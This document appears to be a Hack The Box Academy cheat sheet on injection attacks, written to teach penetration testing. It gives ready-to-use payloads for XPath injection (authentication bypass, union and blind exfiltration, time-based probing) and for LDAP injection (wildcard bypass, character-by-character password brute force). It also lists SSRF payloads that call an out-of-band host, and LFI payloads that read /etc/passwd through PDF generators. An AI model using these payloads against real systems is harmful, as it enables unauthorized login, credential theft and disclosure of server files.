

# INJECTION ATTACKS

# CHEAT SHEET

## XPath Injection

### XPath Syntax

Nodes:

Query	Explanation
<code>module</code>	Select all <code>module</code> child nodes of the context node
<code>/</code>	Select the document root node
<code>//</code>	Select descendant nodes of the context node
<code>.</code>	Select the context node
<code>..</code>	Select the parent node of the context node
<code>@difficulty</code>	Select the <code>difficulty</code> attribute node of the context node
<code>text()</code>	Select all text node child nodes of the context node

Predicates:

Query	Explanation
<code>/academy_modules/module[1]</code>	Select the first <code>module</code> child node of the <code>academy_modules</code> node
<code>/academy_modules/module[position()=1]</code>	Equivalent to the above query

Query	Explanation
<code>/academy_modules/module[last()]</code>	Select the last <b>module</b> child node of the <b>academy_modules</b> node
<code>/academy_modules/module[position()&lt;3]</code>	Select the first two <b>module</b> child nodes of the <b>academy_modules</b> node
<code>//module[tier=2]/title/text()</code>	Select the <b>title</b> of all modules where the <b>tier</b> element node equals <b>2</b>
<code>//module/author[@co-author]/../title</code>	Select the <b>title</b> of all modules where the <b>author</b> element node has a <b>co-author</b> attribute node
<code>//module/tier[@difficulty="medium"]/..</code>	Select all modules where the <b>tier</b> element node has a <b>difficulty</b> attribute node set to <b>medium</b>

Predicate Operands:

Operand	Explanation
<code>+</code>	Addition
<code>-</code>	Subtraction
<code>*</code>	Multiplication
<code>div</code>	Division
<code>=</code>	Equal
<code>!=</code>	Not Equal
<code>&lt;</code>	Less than
<code>&lt;=</code>	Less than or Equal
<code>&gt;</code>	Greater than
<code>&gt;=</code>	Greater than or Equal
<code>or</code>	Logical Or

Operand	Explanation
<b>and</b>	Logical And
<b>mod</b>	Modulus

Wildcards:

Query	Explanation
<b>node()</b>	Matches any node
<b>*</b>	Matches any <b>element</b> node
<b>@*</b>	Matches any <b>attribute</b> node

Union:

Query	Explanation
<b>//module[tier=2]/title/text()   //module[tier=3]/title/text()</b>	Select the title of all modules in tiers <b>2</b> and <b>3</b>

Authentication Bypass

Description	Username	Query
Regular Authentication	<b>htb-stdnt</b>	<b>/users/user[username/text()='htb-stdnt' and password/text()='295362c2618a05ba3899904a6a3f5bc0']</b>
Bypass Authentication with known username	<b>admin' or '1'='1</b>	<b>/users/user[username/text()='admin' or '1'='1' and password/text()='21232f297a57a5a743894a0e4a801fc3']</b>
Bypass Authentication by position	<b>' or position()=1 or '</b>	<b>/users/user[username/text()=' ' or position()=1 or ' ' and password/text()='21232f297a57a5a743894a0e4a801fc3']</b>
Bypass Authentication by substring	<b>' or contains(.,'admin') or '</b>	<b>/users/user[username/text()=' ' or contains(.,'admin') or ' ' and password/text()='21232f297a57a5a743894a0e4a801fc3']</b>

Data Exfiltration

Unrestricted:

- Leak entire XML document via union injection: `| //text()`

Restricted:

- Determine schema depth via chain of wildcards `/*[1]`
- iterate through XML schema by increasing the indices to exfiltrate the entire document step-by-step

Blind Data Exfiltration

Description	Payload	Query
Exfiltrating Node Name's Length	<code>invalid' or string-length(name(/*[1]))=1 and '1'='1</code>	<code>/users/user[username='invalid' or string-length(name(/*[1]))=1 and '1'='1']</code>
Exfiltrating Node Name	<code>invalid' or substring(name(/*[1]),1,1)='a' and '1'='1</code>	<code>/users/user[username='invalid' or substring(name(/*[1]),1,1)='a' and '1'='1']</code>
Exfiltrating Number of Child Nodes	<code>invalid' or count(/*[1]/*)=1 and '1'='1</code>	<code>/users/user[username='invalid' or count(/*[1]/*)=1 and '1'='1']</code>
Exfiltrating Value Length	<code>invalid' or string-length(/users/user[1]/username)=1 and '1'='1</code>	<code>/users/user[username='invalid' or string-length(/users/user[1]/username)=1 and '1'='1']</code>
Exfiltrating Value	<code>invalid' or substring(/users/user[1]/username,1,1)='a' and '1'='1</code>	<code>/users/user[username='invalid' or substring(/users/user[1]/username,1,1)='a' and '1'='1']</code>

Time-based

Force the web application to iterate over the entire XML document exponentially:

```
count((//.)[count((//.))])
```

Determine whether the first letter of the "username" is "a" based on the time it takes: if it is, the query will utilize a significant processing time, otherwise, it won't.

```
invalid' or substring(/users/user[1]/username,1,1)='a' and count((//.)[count((//.))]) and '1'='1
```

LDAP Injection

LDAP Search Filter Syntax



Name	Operand	Example	Example Description
Equality	=	(name=Kaylie)	Matches all entries that contain a <b>name</b> attribute with the value <b>Kaylie</b>
Greater-Or-Equal	>=	(uid>=10)	Matches all entries that contain a <b>uid</b> attribute with a value greater-or-equal to <b>10</b>
Less-Or-Equal	<=	(uid<=10)	Matches all entries that contain a <b>uid</b> attribute with a value less-or-equal to <b>10</b>
Approximate Match	~=	(name~=Kaylie)	Matches all entries that contain a <b>name</b> attribute with approximately the value <b>Kaylie</b>
And	(&())()	(&(name=Kaylie)(title=Manager))	Matches all entries that contain a <b>name</b> attribute with the value <b>Kaylie</b> and a <b>title</b> attribute with the value <b>Manager</b>
Or	( ())()	( (name=Kaylie)(title=Manager))	Matches all entries that contain a <b>name</b> attribute with the value <b>Kaylie</b> or a <b>title</b> attribute with the value <b>Manager</b>
Not	(!())	(!(name=Kaylie))	Matches all entries that contain a <b>name</b> attribute with a value different from <b>Kaylie</b>
True	(&)	(&)	Universal True
False	( )	( )	Universal False
Wildcard	*	(name=*a*)	Matches all entries that contain a name attribute that contains an <b>a</b>

Authentication Bypass

Description	Username	Password	Search Filter
Regular Authentication	admin	admin	(&(uid=admin)(userPassword=admin))
Wildcard Bypass	*	*	(&(uid=*)(userPassword=*))
Wildcard Bypass targeting specific user	admin*	*	(&(uid=admin*)(userPassword=*))
Universal True Bypass	admin)( (&	invalid)	(&(uid=admin)( (&(userPassword=invalid)))

## Data Exfiltration

## Brute-Force data character-by-character:

Username	Password	Query
htb-stdnt	*	(&(uid=htb-stdnt)(userPassword=*))
htb-stdnt	p*	(&(uid=htb-stdnt)(userPassword=p*))
htb-stdnt	p@*	(&(uid=htb-stdnt)(userPassword=p@*))
htb-stdnt	p@s*	(&(uid=htb-stdnt)(userPassword=p@s*))
htb-stdnt	p@ss*	(&(uid=htb-stdnt)(userPassword=p@ss*))
htb-stdnt	p@ssw*	(&(uid=htb-stdnt)(userPassword=p@ssw*))
htb-stdnt	p@ssw0*	(&(uid=htb-stdnt)(userPassword=p@ssw0*))
htb-stdnt	p@ssw0r*	(&(uid=htb-stdnt)(userPassword=p@ssw0r*))
htb-stdnt	p@ssw0rd*	(&(uid=htb-stdnt)(userPassword=p@ssw0rd*))
htb-stdnt	p@ssw0rd	(&(uid=htb-stdnt)(userPassword=p@ssw0rd))

# PDF Generation Vulnerabilities

## Determining the PDF Generation Library

```
$ exiftool invoice.pdf
<SNIP>
Creator           : wkhtmltopdf 0.12.6.1
Producer         : Qt 4.8.7
<SNIP>
```

## Server-Side Request Forgery (SSRF) Payloads

```

<link rel="stylesheet" href="http://cf8kzfn2vtc0000n9fbgg8wj9zhyyyyyb.oast.fun/ssrftest2">
<iframe src="http://cf8kzfn2vtc0000n9fbgg8wj9zhyyyyyb.oast.fun/ssrftest3"></iframe>
```

## Local File Inclusion (LFI) Payloads

```
<script>
    x = new XMLHttpRequest();
    x.onload = function(){
        document.write(this.responseText)
    }

```



```
};  
x.open("GET", "file:///etc/passwd");  
x.send();  
</script>  
  
<iframe src="file:///etc/passwd" width="800" height="500"></iframe>  
<object data="file:///etc/passwd" width="800" height="500">  
<portal src="file:///etc/passwd" width="800" height="500">  
  
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="LFI" />
```